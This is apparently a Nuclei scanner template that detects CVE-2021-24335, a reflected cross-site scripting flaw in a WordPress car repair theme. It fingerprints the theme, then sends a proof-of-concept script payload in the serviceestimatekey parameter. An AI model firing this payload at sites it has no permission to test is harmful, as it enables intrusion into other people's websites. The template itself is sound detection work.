id: CVE-2021-24335

info:
  name: WordPress Car Repair Services & Auto Mechanic Theme <4.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Car Repair Services & Auto Mechanic before 4.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the serviceestimatekey parameter before outputting it back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Car Repair Services & Auto Mechanic Theme (version 4.0 or higher) to mitigate the XSS vulnerability.
  reference:
    - https://themeforest.net/item/car-repair-services-auto-mechanic-wordpress-theme/19823557
    - https://m0ze.ru/vulnerability/[2021-02-12]-[WordPress]-[CWE-79]-Car-Repair-Services-WordPress-Theme-v3.9.txt
    - https://wpscan.com/vulnerability/39258aba-2449-4214-a490-b8e46945117d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24335
    - https://m0ze.ru/vulnerability/%5B2021-02-12%5D-%5BWordPress%5D-%5BCWE-79%5D-Car-Repair-Services-WordPress-Theme-v3.9.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24335
    cwe-id: CWE-79
    epss-score: 0.45442
    epss-percentile: 0.9766
    cpe: cpe:2.3:a:smartdatasoft:car_repair_services_\&_auto_mechanic:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: smartdatasoft
    product: "car_repair_services_\\&_auto_mechanic"
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,smartdatasoft,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/car-repair-services/css'
          - '/wp-content/themes/car-repair-services/js'
          - 'id="car-repair-services-'
        condition: or

  - method: GET
    path:
      - '{{BaseURL}}/car1/estimateresult/result?s=&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206eca2caac08d01ce5783b7ba6901a58387eab6ffe1e69b89e1ba8ea8161784fc0221009b514e73effaa11087c3f5cce342a9298a77a1e516b0314962a77ffcbf3e1119:922c64590222798bb761d5b6d8e72950